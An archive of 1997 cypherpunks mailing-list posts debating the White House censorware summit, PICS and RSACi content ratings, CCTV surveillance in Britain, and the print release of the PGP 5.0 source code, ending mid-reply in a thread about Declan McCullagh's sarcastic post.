>   PGP encrypted mail preferred.
>   DES is dead! Please join in breaking RC5-56.
>   http://rc5.distributed.net/
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 16 Jul 1997 08:47:39 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19970716002146.16645.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Wed, 16 Jul 1997 13:25:20 +0800
To: cypherpunks@toad.com
Subject: The Big Sellout
Message-ID: <Pine.LNX.3.95.970716010735.7565A-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 15 Jul 1997 22:25:50 -0400
From: Michael Sims <jellicle@inch.com>
To: fight-censorship@vorlon.mit.edu
Cc: jberman@cdt.org, jseiger@cdt.org
Subject: The Big Sellout

It's here.


http://www.cnn.com/TECH/9707/15/cybersmut.ap/index.html

Computer industry to announce anti-smut initiatives

July 15, 1997 Web posted at: 9:59 p.m. EDT (0159 GMT) 
[20 minutes ago.  I'm  quick, aren't I?]

WASHINGTON (AP) -- Hoping to avoid a V-chip for the Internet, the
computer industry will announce at the White House on Wednesday it
will provide greater access to anti-smut software and work to flag
Internet sites that are clean enough for kids. 

Weeks after the Supreme Court declared unconstitutional a law
designed to keep cyberspace's seedy side away from children, the White
House is urging the computer industry and parent's groups to take
such voluntary steps to make the Internet safe for youngsters. 

"We don't need to reinvent the wheel here and we don't need a V-chip
for the Internet. We have tools out there which are 100 percent
available," said Jerry Berman of the Center for Democracy and
Technology, a group that works to protect computer users' civil
liberties. They just need to be more widely used and understood, he
said. 

President Clinton and Vice President Al Gore, a computer enthusiast,
will host the private meeting Wednesday. About 30 to 40 people are
expected, including representatives from America Online, Netscape
Communications Corp., Microsoft Corp., Yahoo! Inc., the National
Parent Teacher Association, the American Library Association, makers
of screening technology and electronic civil liberties groups. 

The White House has said it wants a solution "as powerful for the
computer as the V-chip will be for the television that protects
children in ways that are consistent with America's free-speech
values." 

Instead of seeking new legislation to force the computer industry to
shield children from Internet smut, the Clinton administration is
pushing voluntary ideas. 

That's welcome news for the industry and electronic civil liberties
groups, which fought to overturn anti-smut provisions in the 1996
telecommunications law. 

"It's a very positive thing to try to come up with a constructive
alternative to legislation," said Andrew Schwartzman, president of
the Media Access Project, a nonprofit media watchdog group. 

No final industry-wide voluntary plan is expected to be announced
Wednesday, but some companies are expected to unveil plans. 

For instance, Netscape Communications is expected to announce it will
back a software standard that allows people, using a Web browser,
either to block or select certain Web sites based on their electronic
labels, said industry and government sources, speaking on condition of
anonymity. Netscape did not return a phone call for comment. 

Microsoft Corp.'s Explorer browser already uses the standard, dubbed
PICS, which can work with more than one labeling or ratings system.
Parents using a browser with the PICS technology could, for example,
call up Web sites designated to be "family friendly" or they could
block sites labeled as violent or sex-filled. 

The Center for Democracy and Technology, meanwhile, is supposed to
debut a Web page that would give parents information on how and
where to get free smut-screening software, Berman said. 

The center estimates all of the major providers of Internet access
to consumers offer screening technology for free or at a nominal
cost. Those providers cover 14 million households, and include AOL,
AT&T WorldNet, CompuServe, Prodigy and Erol's. 

The American Library Association is working on a broader effort. It
has compiled a listing of family friendly Web sites parents can
access separately or through its Web page, said spokeswoman Joyce
Kelly. The listing will be updated and expanded, she said. 

And Microsystems Software Inc., maker of Cyber Patrol, a widely used
screening software, is expected to unveil new technology to make it
easier for owners to label their Web sites, a company representative
said. 

"We're heartened that the industry is taking steps on its own," said
Patty Yoxall, spokeswoman for the National PTA. "We prefer voluntary
efforts over government intervention." 

White House officials, speaking on condition of anonymity, stressed
that in addition to the voluntary efforts for indecent or smutty
content, the government still will enforce vigorously provisions
making illegal any obscene materials carried on the Internet. 

The Supreme Court upheld that provision of the 1996 law on June 26,
even as it overturned provisions aimed at restricting children's
access to indecent online materials. 

Copyright 1997   The Associated Press. All rights reserved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Goldberg <iang@cs.berkeley.edu>
Date: Wed, 16 Jul 1997 22:23:20 +0800
To: cypherpunks@cyberpass.net
Subject: PGP 5.0 source available (but not online yet)
Message-ID: <199707161413.HAA14531@cypherpunks.ca>
MIME-Version: 1.0
Content-Type: text/plain



I received a copy of the latest source (12 volumes) from a PGP, Inc. rep
at the July Bay Area Cypherpunks Open Meeting on US Soil (12 July on Stanford
campus).

You can order your own copies through Printers, Inc.:

  Printers, Inc.
  301 Castro St.
  Mountain View, CA. 94041
  (415) 961-8500
  <http://www.pibooks.com>

  PGP 5.0 Platform Independent Source Code
   Five Volumes, $94.00   ISBN 099649654-5-3

  PGP 5.0 Win95 Source Code
   Three Volumes, $57.00  ISBN 099649654-6-1

  PGP 5.0 Mac Source Code
   Four Volumes, $82.00   ISBN 099649654-7-X

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 16 Jul 1997 23:00:25 +0800
To: cypherpunks@toad.com
Subject: The Censorware Summit: A Preview, from The Netly News
Message-ID: <Pine.GSO.3.95.970716074445.15247G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




******************

http://cgi.pathfinder.com/netly/opinion/0,1042,1173,00.html

The Netly News Network (http://netlynews.com)
July 16, 1997                        

The Censorware Summit
by Declan McCullagh (declan@well.com)
                                             
        SurfWatch's Jay Friedland still blushes when asked why his
   program once blocked part of the White House web site. Named
   "couples," the offending page triggered the hypersensitive software's
   dirty-word filter -- and amply illustrated the problems accompanying
   so-called "smut blocking" technology.

        Today, Friedland and more than a score of industry and nonprofit
   groups are visiting the White House to promote technical means of
   stopping Junior from visiting playboy.com. President Clinton is
   expected to endorse such measures over attempts to revive broad
   criminal laws like the ill-fated Communications Decency Act, which he
   supported. But this new approach suffers from all sorts of problems.

        For one, how do you winnow out material that's inappropriate for
   kids while avoiding embarassing missteps like the "couples" debacle?
   Certainly Friedland's firm can't hope to review the millions of web
   pages already online. Already spooked by a promised CDA II, the
   industry has offered an answer. High tech firms, taking a hint from
   the broadcasters, are seriously backing Internet rating systems for
   the first time.

        For instance, Netscape today will promise to join Microsoft and
   include the PICS ratings framework in the next version of its browser.
   Search engines such as Yahoo and Excite will announce they're
   supporting PICS to refine and limit searches, sources say. IBM will
   unveil a $100,000 grant to RSACi, a PICS-based rating standard
   originally designed for video games but adapted for the Web. The
   industry giant will also pledge to incorporate RSACi into future
   products.

        RSACi, which has been plagued by a number of serious flaws, works
   like this: You connect to its site and fill out a form self-rating
   your site for nudity, sex, violence and foul language. Then you take
   that tag, which might read something like "(n 0 s 0 v 0 l 0)" -- if
   your site is innocuous -- and slap it on your web page.

        But RSACi wasn't designed to classify news web sites. It's a
   video game rating system, and its coarse, clumsy categories -- from
   "creatures injured" to "wanton and gratuitous violence" -- are better
   suited to shrink-wrapped boxes of Doom than to the archives of
   msnbc.com. To comply with the system, MSNBC editors would need to
   review and rate each story -- which is why the site stopped using
   RSACi, The Netly News reported in March.  
   
        Stephen Balkam, the head of RSACi, now says he has a solution. He
   calls it RSACnews and says that legitimate news sites can use it to
   rate just their home pages without having to review each article. Now,
   what's a legitimate news site? The Netly News might qualify, but what
   about the NAMBLA News Journal? "People who generate firsthand reports
   that have been in some ways verified or structured in a way that gives
   clear and objective information as possible about events," Balkam
   says. "We will be working with the news industry to help us develop a
   criteria." (This, presumably, means groups that have signed on as
   supporters, including MSNBC, the Wall Street Journal, the Well, CNET 
   and Ziff-Davis. I'm told that the White House wants to qualify as a 
   "news site" -- even though the information there is rarely clear and
   certainly not objective.)

        Not surprisingly, civil libertarians are screaming bloody murder.
   They do have a point. After all, netizens are fresh from a stunning
   Supreme Court victory that firmly established that the Net should
   enjoy the same First Amendment protections as print publications.    
   Since magazines aren't forced to sport warning labels, why should the
   White House pressure online publications to do the same? And, more
   importantly, why should the industry give in instead of standing on  
   principle and resisting all attempts by the federal government to   
   muzzle online speech? 
   
        "Some businesses who make their money from people on the Net  
   appear far too eager to ignore the massive First Amendment protection
   the CDA decision gave cyberspeech -- and even more eager to adopt and
   impose on all of us the potential sinews of censorship: PICS and
   RSACi," says Don Haines, legislative counsel at the ACLU. (This     
   critical attitude may have been what spurred the White House to       
   disinvite the ACLU from today's summit, then hurriedly re-invite them
   after the ACLU put out a press release.)
   
        Of course, today's White House summit plays against the backdrop
   of a threat from a CDA II. Some members of Congress, such as Sen. Dan
   Coats (R-Ind.) have pledged to try again with more legislation. Yet
   others seem more willing to compromise. "The Supreme Court has shot
   down the option that I worked hard on," says Rep. Bob Goodlatte       
   (R-Va.), a staunch CDA supporter who will be at today's summit. "They
   said we can't go that route. I'm certainly interested in developing 
   other options. I want to put the burden on pornographers. One of the
   ways to do that is to have Congress pass legislation that would make
   it difficult for people to misrate their web site."

        Rep. Goodlatte is one of a half-dozen congresspeople who will 
   attend the noontime meeting, along with oppositional CDA forces such 
   as the American Library Association and the Electronic Frontier
   Foundation. Together they will witness the unveiling of          
   netparents.org, a joint effort of the Center for Democracy and
   Technology and the Voters Telecommunications Watch. The site allows
   parents to "find some family-friendly" censorware-enabled service
   providers in their area. A handy tool that we suspect will be used not
   only to find ISPs that provide blocking tools, but to find the ones
   that don't.
   
###






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 16 Jul 1997 23:16:00 +0800
To: cypherpunks@toad.com
Subject: White House "kinder, gentler"-CDA/censor empowerment meeting
Message-ID: <Pine.GSO.3.95.970716080230.15247L-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 00:23:08 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: Seth Finkelstein <sethf@MIT.EDU>
Cc: jseiger@cdt.org, jberman@cdt.org, fight-censorship@vorlon.mit.edu
Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting

Below we see an excellent example of the naivete inherent in
Net-libertarian and cypherpunk writing. Obviously the writer does not
understand the complexities and challenges of Washington politics. In many
ways, it is like sausage being made: disgusting to watch, but a process
that results in the compromises so vital in a healthy democracy.

Which is why it is inappropriate to criticize the White House's position
on the CDA. If you speak your mind aloud, you run the risk of being
marginalized like the ACLU. How can you serve your constituents then? 
Obviously, you can't. So I respectfully suggest that Mr. Finkelstein
disabuse himself of radical notions like opposing regulation of the
Internet.

I can only conclude that because Mr. Finkelstein does not live inside the
Beltway, we cannot expect him to realize that it is always necessary to
remain players in the game -- even if it means giving up fundamental
liberties in the process. 

-Declan


On Wed, 16 Jul 1997, Seth Finkelstein wrote:

> >> At 11:35 PM -0400 7/15/97, Michael Sims wrote:
> >>...But by lining up with those who intend to FORCE, by
> >>hook or crook, ratings on everyone, well, you're not sending the
> >>message I would think you would want to.
> 
> > From: Jonah Seiger <jseiger@cdt.org>
> > As far as I know, this is not what's happening and you are reacting to ghosts
> 
> 	"I am the ghost of RSACi past". Such as when it nearly became a
> contractual requirement for all ISP's in the United Kingdom last year.
> Of course they didn't *have* to join up, and they didn't have to not
> be raided as child pornographers either. Not a ghost, but a spectre.
> 
> > Like you, CDT will be watching what the President says tomorrow
> > very carefully and will have something to say once he has spoken.
> 
> 	I'm sure you will. And I'm also sure it's going to be along
> the lines of "Sign up to this program because it's not censorship and
> if you don't, the government will get you".
> 
> ================
> Seth Finkelstein
> sethf@mit.edu
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 16 Jul 1997 23:38:26 +0800
To: cypherpunks@toad.com
Subject: SPA statement and RSAC release
Message-ID: <Pine.GSO.3.95.970716081725.15247P-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 08:17:19 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: SPA statement and RSAC release


Statement by Ken Wasch, President, Software Publishers Association

PR News Wire via Dow Jones

               White House Forum:  Children on the Internet  

  WASHINGTON, July 16 /PRNewswire/ -- The following is a statement by Ken Wasch,
President of the Software Publishers Association:  

  "The software industry recognizes -- and understands -- the legitimate
concerns of parents, educators, the President and Vice President, legislators
and other citizens about the content and suitability of many Internet sites for
our children.  We believe parents should have the opportunity, and readily
available tools, to monitor -- and block -- objectionable online content.

  "Today's White House Forum is an important step in highlighting this issue by
bringing together a diverse group of concerned organizations and individuals to
focus on what must be done.  SPA appreciates the invitation of the President and
the Vice President to represent the software industry at this forum.  However,
after we leave the White House, the responsibility of marrying freedom of speech
with these legitimate concerns falls on the shoulders of the software industry. 
The software industry develops the tools and products that, in turn, can put a
brown wrapper around objectionable material on the Internet.  Others may talk;
the software industry must act. 

  "Understanding its responsibility, the software industry several years ago
helped establish a process of self-regulation and content ratings through the
Recreational Software Advisory Council (RSAC).  Today, RSAC, through its
Internet ratings system -- RSACi -- has assigned objective content labels to
more than 35,000 online sites in just 12 months.  RSACi is now the world's
leading Internet content ratings system, empowering parents everywhere to block
online content they believe offensive.  It is important to keep in mind that
'Truth in Packaging' has nothing to do with suppression of content. RSACi is a
labeling system, not a system of censorship. 

  "At today's White House Forum, the success of RSACi as an effective, no-cost
tool for concerned parents was highlighted.  It is no coincidence that two of
this nation's largest corporations have committed to using the RSACi ratings
system in their online efforts.  SPA and the software industry congratulate
Disney -- with its strong family emphasis -- and IBM on their decisions to work
with RSAC.  We know others will join them.  Then RSACi will become the universal
ratings standard, allowing everyone everywhere to benefit from the exciting
world of the Internet, without the inhibition of state-imposed regulation or
censorship."  

  SPA is the leading trade association of the software industry, representing
1,200 leading publishers as well as start-up firms developing software
applications and tools for use on the desktop, the Internet, and client-server
networks.  


FOR IMMEDIATE RELEASE

RECREATIONAL SOFTWARE ADVISORY COUNCIL
WELCOMES IBM AS CORPORATE SPONSOR

IBM Supports RSAC Initiative to Provide Self-Regulation of Internet Content

Washington, D.C. -- July 16, 1997 - The Recreational Software Advisory Council
(RSAC) today announced that IBM has become a corporate sponsor of RSAC - the
non-profit organization committed to providing Internet users with detail
regarding web site content.  IBM is contributing $100,000 to RSAC, the
non-profit developer of RSACi, the voluntary, non-judgmental content labeling
software system that allows consumers and Webmasters to create customized
filters of online content.

"The astounding popularity and growth of the Internet has brought about its
greatest challenge -- controlling the flow of content that some feel is
inappropriate for children, students, or corporate staff.  RSAC's goal has never
been to restrict the act of free speech, but rather to allow free speech while
simultaneously empowering consumers to control the content to which they're
exposed," commented Stephen Balkam, executive director of RSAC.  "We're very
pleased to be working with IBM to continue our effort to make the Internet fun
and safe for everyone."

"Effective technology complements the efforts of parents and teachers in
monitoring children's' use of the Internet," said John Patrick, IBM's Vice
President, Internet technology.   "IBM is committed to providing parents and
educators with the tools to help children leverage the Internet appropriately. 
We are proud to be working with RSAC in creating an Internet environment that is
consistent with the interests of parents, teachers and children."

RSACi, or RSAC on the Internet, is the objective content-labeling advisory
system that is fully compliant with the World Wide Web consortium's industry
standard for web content rating, the Platform for Internet Content Selection
(PICS).  RSACi is a fully-automated system that relies on Webmasters to complete
a detailed questionnaire regarding the level, nature and intensity of the sex,
nudity, violence or offensive language (vulgar or hate-motivated) found within
their web site.  The responses given then generate rating tags that -- when
posted on the web site -- are read by not only popular browsers (such as
Microsoft's Internet Explorer), but by blocking system software (such as
MicroSystem's Cyber Patrol), allowing consumers to anticipate Internet content
and block any materials they deem inappropriate, or offensive.

To date, the RSACi content advisory system has been used to rate more than
35,000 web sites -- and it is anticipated that this number will grow to more
than 120,000 in the coming year.  "It's our opinion that the IBM sponsorship --
together with the recent formation of the International Ratings Working Group at
the Bonn Ministerial Conference -- will lead to a four-fold increase in rated
sites over the next calendar year," commented Stephen Balkam.

IBM has been a leader in developing and supporting standard content filtering
programs and technologies for years.  In addition to sponsoring RSAC, IBM
contributed to the development of PICS within the W3C earlier this year.  IBM
also ships NetVista, an Internet server designed for educational institutions
that helps teachers integrate the Web directly into the classroom while
filtering inappropriate content.

IBM, the world's largest software provider, creates, develops and manufactures
the industry's most advanced information technologies, including computer
systems, software, networking systems, storage devices and microelectronics. 
IBM offers complete information about the company, its products, services and
technology on the World Wide Web at http://www.ibm.com.  For more information
about IBM Software to go to the IBM Software home page at
http://www.software.ibm.com.

The Recreational Software Advisory Council is an independent, non-profit
organization based in Washington, D.C, that empowers the public, especially
parents, to make informed decisions about electronic media by means of an open,
objective, content advisory system.  The RSACi system provides consumers with
information about the level of sex, nudity, violence, offensive language (vulgar
or hate-motivated) in software games and Web sites.  To date, RSACi has been
integrated into Microsoft's browser, Internet Explorer, and MicroSystem's Cyber
Patrol Software.  CompuServe (US and Europe) has also committed to rate all
its content with the RSACi system.

More information on RSAC and the RSACi rating system is available at
http://www.rsac.org.
#   #   #






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 16 Jul 1997 21:38:26 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: CCTV Cameras in Britain (fwd)
Message-ID: <199707161318.IAA19917@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 16 Jul 1997 10:17:49 +0200 (MET DST)
> Subject: Re: CCTV Cameras in Britain
> From: nobody@REPLAY.COM (Anonymous)

>   Since an ounce of good marijuana costs $300.00 instead of merely
> $3.00, it is profitable to not abide by the law.

Don't know where you live but your street prices are about 300% too
high...

> TruthMonger

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 16 Jul 1997 23:02:03 +0800
To: cypherpunks@toad.com
Subject: Gee, *this* sounds familiar... (Was Re: ICONOCAST 15-Jul-97)
Message-ID: <v0311070eaff27d343e29@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga <rah@shipwright.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Wed, 16 Jul 1997 08:40:50 -0400
From: Robert Hettinga <rah@shipwright.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  Gee, *this* sounds familiar... (Was Re: ICONOCAST 15-Jul-97)

Microsoft and Cisco have discovered Micromoney Mitochondria, it seems...


Wanna bet the "physicist" is probably Mhyrvold?

Too bad they don't understand the distinction between book-entries and
bearer certificates...


Cheers,
Bob Hettinga





At 11:31 am -0400 on 7/15/97, Michael Tchong wrote:


>      I C O N O C A S T  b y  M i c h a e l  T c h o n g
>        -- more concentrated than the leading brand --
>                          15-Jul-97
<snip>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                         THE JACOBYTE
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> The French will never forget la Bastille. But Netizens seem
> to have forgotten Jaco. To prevent Jaco from breaking a long
> streak of insouciance and going on strike, French-style,
> send a juicy "petit truc" to jaco@iconocast.com.

<snip>

> <*> The Jacobyte also received a hot tip from a physicist.
> You know the type who does 20 quantum-mechanics push ups
> before breakfast. What caught the eye of this keen observer
> was the Microsoft-Cisco announcement. How's this for a
> scenario: Bill gets his software into all Cisco routers,
> then proposes a modification to the Internet packet format.
>
> All packets must now have a credit-card number in the
> header, so Microsoft can charge a packet switch fee at
> each router! Talk about 'transaction pricing.' A typical
> e-mail is broken into several packets and each one makes
> 10-15 hops. Let's do the arithmetic for a typical day:
> 100 billion packets times 10 hops per packet times $0.001
> router fee at each hop equals $1 billion *per day*.
>
> That's not chump change...even for the $36-billion man!




-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
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(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
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Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 16 Jul 1997 16:37:09 +0800
To: cypherpunks@toad.com
Subject: Re: CCTV Cameras in Britain
Message-ID: <199707160817.KAA04433@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Damaged Justice wrote:

>     Privacy International says that in Britain, there are an estimated
>     300,000 CCTV surveillance cameras in public areas, housing estates,
>     car parks, public facilities, phone booths, vending machines,
>     buses, trains, taxis, alongside motorways and inside Automatic
>     Teller (ATM) Machines.

> Yes, there are many cameras, and more going up all the time. The vast
> majority of the population is glad that these cameras are being
> introduced. Ordinary crime has been reduced greatly in those areas
> (proven fact) where the cameras are in use.

  Does this 'move' the crime to a different area? If so, then the
next step will be to add cameras to the other areas. Eventually,
I suppose, it will only be safe to commit crimes in the homes of
the (unarmed) citizens. By then, I am sure the citizens will 
protest very little when the government decides that cameras are
needed in every home to fight "drug dealers and child pornographers."
 
> A very popular and effective program on UK TV is called 'Crimewatch'
> where video footage, from these cameras, of crimes and suspects is
> shown not for sensationalism and ratings but in order to ask for help
> identifying the perpetrators.  It is very effective and crimes featured
> have a very high clear-up rate.

  The U.S. is now inundated with a plethora of "Good Cop" shows and
an increasing variety of "Dumb Criminal" video shows, including a
few specials that are blatantly geared to spread the message, "The
Surveillance Camera Is Your Friend!"
  This is not the result of happenstance. The whitewashing of LEA's
and other government agencies, as well as the promotion of the belief
that Constitutional rights are our enemy (and the friend of crime),
are the result of conscious, active direction on the part of those
in power.
 
> Unfortunately there are immoral,
> irresponsible and downright antisocial 
> people who will not abide by the law
> and persist in infringing our rights.
> As long as those people exist...
> then we need such laws and technology.

  This type of thinking is exactly the reason that government
interests lie in creating more crimes and more criminals.
  Since an ounce of good marijuana costs $300.00 instead of merely
$3.00, it is profitable to not abide by the law. Since it is also
cause for imprisonment, it makes it worthwhile to use violence in
order not to get caught with it. Under the "life imprisonment for
a third felony" laws, you might as well rob and kill someone as
write them a $1.00 bad check (or be better off, in some states).

> I would feel very ashamed if my attempts to protect my rights caused
> the death of innocent people because security against those who are
> irresponsible had to be drastically cut back.

  If so, then consider feeling ashamed *now* for that fact that your
lack of attempt to protect your rights, and other's rights, is causing
the death of innocent people because security against those who want
their freedom has been increased.
  Both the U.S. and Britain send armed thugs to foreign soil to force
their citizens to live according to our belief in what is right, and
then we call them *terrorists* when they respond to armed force with
armed force.

  With the use of radar to create "speed traps," government realized
the profits to be had from *creating* crime and they have never
looked back.
  I have no doubt that the surveillance industry will prove every
bit as profitable as the prison industry, and just as easy to sell
to a citizenry that is being frightened and held hostage by a
government which should be protecting them and helping them to
protect themselves.

  Save your "In order to save the patient, we had to kill him."
laws-and-technology speech for forums where freedom and privacy
are considered less precious than comfort and security.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 16 Jul 1997 23:48:24 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: White House "kinder, gentler"-CDA/censor empowerment meeting (fwd)
Message-ID: <199707161528.KAA20354@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 16 Jul 1997 08:03:06 -0700 (PDT)
> From: Declan McCullagh <declan@well.com>
> Subject: White House "kinder, gentler"-CDA/censor empowerment meeting

> Below we see an excellent example of the naivete inherent in
> Net-libertarian and cypherpunk writing.

> Obviously the writer does not understand the complexities and challenges
> of Washington politics ... a process that results in the compromises
> so vital in a healthy democracy.

I would like to see your proof that a healthy democracy requires compromise.
This is truly the pot calling the kettle black in regards to mis-understanding
the fundamental dynamics of 'healthy' democracies.

> I can only conclude that because Mr. Finkelstein does not live inside the
> Beltway, we cannot expect him to realize that it is always necessary to
> remain players in the game -- even if it means giving up fundamental
> liberties in the process. 

Declan, you are truly an idiot if  you believe that you can obtain any sort
of democracy, let along a healthy one, by giving up fundamental liberties.

With friends like you we don't need enemies, we don't have to worry about
them taking anything you are more than willing to give it away.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 16 Jul 1997 16:54:03 +0800
To: cypherpunks@toad.com
Subject: Re: The Big Sellout
Message-ID: <199707160844.KAA08069@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> ---------- Forwarded message ----------
> http://www.cnn.com/TECH/9707/15/cybersmut.ap/index.html
 
> Computer industry to announce anti-smut initiatives
> 
> WASHINGTON (AP) -- Hoping to avoid a V-chip for the Internet, the
> computer industry will announce at the White House on Wednesday it
> will provide greater access to anti-smut software and work to flag
> Internet sites that are clean enough for kids.

> White House officials, speaking on condition of anonymity, stressed
> that in addition to the voluntary efforts for indecent or smutty
> content, the government still will enforce vigorously provisions
> making illegal any obscene materials carried on the Internet.

  Translation~~They will attempt to imprison people who are victims
of those who voluntarily access their web sites and then complain
to the authorities, despite the sight being clearly marked as a
adult-oriented site.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 17 Jul 1997 11:31:14 +0800
To: "C. Harald Koch" <chk@utcc.utoronto.ca>
Subject: Re: More on crypto from Bonn
In-Reply-To: <3.0.16.19970709093445.23d7be9e@pop.radix.net>
Message-ID: <3.0.2.32.19970715073537.030968dc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>         What's a "potential" terrorist?

>I suspect "potential terrorist" is like "alleged criminal"; it's a CYA
>statement.

No, they're much different.  An "alleged criminal" is a specific person who
may have really done something illegal, but you're covering yourself
against lawsuits because you haven't yet proven they're guilty in court.
A "potential terrorist" is a bogeyman to scare the public with,
who may or may not exist, and who hasn't done anything scary himself yet.
An "alleged terrorist" is a specific person who may be the one who did some
terrorist action.

On the other hand, a gang of thugs threatening to destroy all life
on the planet are simply referred to as "The Pentagon"....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 17 Jul 1997 00:07:26 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
In-Reply-To: <Pine.GSO.3.95.970716080230.15247L-100000@well.com>
Message-ID: <Pine.LNX.3.95.970716093444.21635A-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 16 Jul 1997, Declan McCullagh wrote:

> 
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 00:23:08 -0700 (PDT)
> From: Declan McCullagh <declan@well.com>
> To: Seth Finkelstein <sethf@MIT.EDU>
> Cc: jseiger@cdt.org, jberman@cdt.org, fight-censorship@vorlon.mit.edu
> Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
> 
> Below we see an excellent example of the naivete inherent in
> Net-libertarian and cypherpunk writing. Obviously the writer does not
> understand the complexities and challenges of Washington politics. In many
> ways, it is like sausage being made: disgusting to watch, but a process
> that results in the compromises so vital in a healthy democracy.
> 
> Which is why it is inappropriate to criticize the White House's position
> on the CDA. If you speak your mind aloud, you run the risk of being
> marginalized like the ACLU. How can you serve your constituents then? 
> Obviously, you can't. So I respectfully suggest that Mr. Finkelstein
> disabuse himself of radical notions like opposing regulation of the
> Internet.
> 
> I can only conclude that because Mr. Finkelstein does not live inside the
> Beltway, we cannot expect him to realize that it is always necessary to
> remain players in the game -- even if it means giving up fundamental
> liberties in the process. 
> 
> -Declan

Declan:

Did you forget your ;-) smiley face or can we quote you on that last
sentence? 

As far as I'm concerned, if you are forced to give up fundamental 
